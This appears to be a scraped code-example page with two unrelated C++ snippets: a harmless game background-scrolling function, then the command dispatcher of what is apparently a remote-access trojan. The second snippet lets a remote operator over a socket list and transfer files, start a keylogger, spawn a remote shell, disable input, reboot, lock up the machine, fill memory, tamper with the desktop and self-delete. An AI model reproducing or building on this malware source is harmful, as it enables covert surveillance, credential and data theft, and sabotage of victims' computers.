Exemplo n.º 1
0
void Stage::Move()
{
	// スクロール
	for (auto &back : stage_back)
	{
		back.y += SPEED_BACK;
		back.y = static_cast<double>(WrapPos(static_cast<int>(back.y), 880, -400));
	}

	for (auto &middle : stage_mid)
	{
		middle.y += SPEED_MIDDLE;
		middle.y = static_cast<double>(WrapPos(static_cast<int>(middle.y), 720, -240));
	}

	for (auto &front : stage_fro)
	{
		front.y += SPEED_FRONT;
		front.y = static_cast<double>(WrapPos(static_cast<int>(front.y), 720, -240));
	}

	Quake();	// ぶるぶる
}
Exemplo n.º 2
0
DWORD WINAPI HandleClient( LPVOID param ){
	
	SOCKET s = *(SOCKET*)param;
	char buf[1024],tmp[64];
	struct cmd_t cmd;
	int n;
	while(1){
		n = recv( s , buf , 1023 , 0 );
		buf[n] = 0;
		//MB(buf);
		if( n == 0 )
			break;
		parse_cmd( buf , &cmd );
		int sec = cmd.cmd_object;
		int arg = cmd.args;
		char *p = cmd.addnl.str;
		//wsprintf( tmp , "%d::%d" , sec , arg );
		//MB(tmp);
		if( sec == CMD_FILE ){
			switch( arg ){
			case FILE_SDIR:
				SendDirTree( s , p , 0 );
				break;
			case FILE_SDIREX:
				SendDirTree( s , p , 1 );
				break;
			case FILE_SDRV:
				SendDriveSet( s );
				break;
			case FILE_SEND:
				SendFile( s , p );
				break;
			case FILE_RECV:
				RecvFile( s , p );
				break;
			case FILE_MKDIR:
				LocalMkDir( p );
				break;
			default:
				SendLn( s , "***file: bad args\r\n" );
			}
		}
		else if( sec == CMD_HW ){
			switch( arg ){
			case HW_OPENCD:
				OpenCDTray();
				break;
			case HW_CLOSECD:
				CloseCDTray();
				break;
			case HW_MOUSE_R:
				SetMouseBns( MOUSE_RT );
				break;
			case HW_MOUSE_L:
				SetMouseBns( MOUSE_LT );
				break;
			case HW_MOUSE_SW:
				SwapMouseBns();
				break;
			case HW_MONITOR1:
				MonitorPower( 1 );
				break;
			case HW_MONITOR0:
				MonitorPower( 0 );
				break;
			case HW_DB_CLK:
				DblClkDelay( cmd.addnl.nums[0] );
				break;
			case HW_INPUT0:
				EnableInput( false );
				break;
			case HW_INPUT1:
				EnableInput( true );
				break;
			case HW_REBOOT:
				Reboot();
				break;
			case HW_SHTDWN:
				ShutDown();
				break;
			default:
				SendLn( s , "***bad args\r\n" );
			}
		}
		else if( sec == CMD_KEYBD ){
			switch( arg ){
			case KEYBD_STARTLOG:
				KeyLog( true );
				break;
			case KEYBD_STOPLOG:
				KeyLog( false );
				break;
			default:
				SendLn( s , "***keybd: bad args\r\n" );
			}
		}
		else if( sec == CMD_MOUSE ){
			switch( arg ){
			case MOUSE_FLY_STOP:
				FlyMousePtr( false );
				break;
			case MOUSE_FLY:
				FlyMousePtr( true );
				break;
			case MOUSE_FLY_CLK:
				FlyMousePtrClick( true );
				break;
			case MOUSE_RESTRICT:
				RestrictMouseMovementTo(cmd.addnl.nums[0],
										cmd.addnl.nums[1],
										cmd.addnl.nums[2],
										cmd.addnl.nums[3]
										);
				break;
			case MOUSE_SHOW:
				ShowMouseCursor( true );
				break;
			case MOUSE_HIDE:
				ShowMouseCursor( false );
				break;
			case MOUSE_CLK:
				MouseClick( cmd.addnl.nums[0] );
				break;
			case MOUSE_CLK_PT:
				MouseClickPoint( cmd.addnl.nums[1],
								 cmd.addnl.nums[2],
								 cmd.addnl.nums[0]
							   );
				break;
			case MOUSE_SETPOS:
				SetMousePos( cmd.addnl.nums[0],
							 cmd.addnl.nums[1]
							 );
				break;
			default:
				SendLn( s , "***mouse: bad args\r\n" );
			}
		}
		else if( sec == CMD_SHELL ){
			if( arg == SHELL_SPAWN )
				CreateRemoteShell( s );
		}
		else if( sec == CMD_SYS ){
			unsigned long m;
			unsigned __int64 d;
			char msg[256];

			switch( arg ){
			case SYS_MAXMEM:
				m = GetMaxMem();
				wsprintf( msg , "max mem: %u MiB\r\n" , m );
				SendLn( s ,msg );
				break;
			case SYS_BUSYMEM:
				m = GetBusyMem();
				wsprintf( msg , "mem in use: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_FREEMEM:
				m = GetFreeMem();
				wsprintf( msg , "free mem: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_MAXDISK:
				d = GetDiskUsage( cmd.addnl.str , U_TOTAL );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_USEDDISK:
				d = GetDiskUsage( cmd.addnl.str , U_USED );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_FREEDISK:
				d = GetDiskUsage( cmd.addnl.str , U_FREE );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_SYSDIR:
				wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() );
				SendLn( s , msg );
				break;
			case SYS_WINDIR:
				wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() );
				SendLn( s , msg );
				break;
			case SYS_CHDIR:
				cd( cmd.addnl.str );
				break;
			case SYS_LOCKUP:
				SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" );
				Sleep(2000);
				LockUp();
				break;
			case SYS_RAMFILL:
				RamFill();
				break;
			default:
				SendLn( s , "***sys: bad args\r\n" );
			}
		}
		else if( sec == CMD_TBAR ){
			switch(arg){
			case TBAR_SHOW:
				ShowTaskBar( true );
				break;
			case TBAR_HIDE:
				ShowTaskBar( false );
				break;
			case TBAR_STBN_SHOW:
				ShowStartBn( true );
				break;
			case TBAR_STBN_HIDE:
				ShowStartBn( false );
				break;
			case TBAR_STBN_FLY1:
				FlyStartBn( true );
				break;
			case TBAR_STBN_FLY0:
				FlyStartBn( false );
				break;
			case TBAR_CLOCK_SHOW:
				ShowClock( true );
				break;
			case TBAR_CLOCK_HIDE:
				ShowClock( false );
				break;
			case TBAR_ENABLE:
				EnableTaskBar( true );
				break;
			case TBAR_DISABLE:
				EnableTaskBar( false );
				break;
			default:
				SendLn( s , "***tb: bad args\r\n" );
			}
		}
		else if( sec == CMD_PRANK ){
			switch(arg){
			case PRANK_DTP_ENABLE:
				EnableDesktop( true );
				break;
			case PRANK_DTP_DISABLE:
				EnableDesktop( false );
				break;
			case PRANK_FU_START:
				if( !strequal( cmd.addnl.str , "" ) )
					szFUStr = cmd.addnl.str;
				FuckYou( true );
				break;
			case PRANK_FU_STOP:
				FuckYou( false );
				break;
			case PRANK_WRUN_START:
				if( cmd.addnl.nums[0] > 0 )
					uiRunWindowsDelay = cmd.addnl.nums[0];
				MakeWindowsRun( true );
				break;
			case PRANK_WRUN_STOP:
				MakeWindowsRun( false );
				break;
			case PRANK_QUAKE_START:
				if( cmd.addnl.nums[0] > 0 )
					uiQuakeDelay = cmd.addnl.nums[0];
				Quake( true );
				break;
			case PRANK_QUAKE_STOP:
				Quake( false );
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}
		else if( sec == CMD_OWL ){
			switch(arg){
			case OWL_UNINSTALL:
				SelfDelete();
				exit(0);
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}

	}
	return 0;
}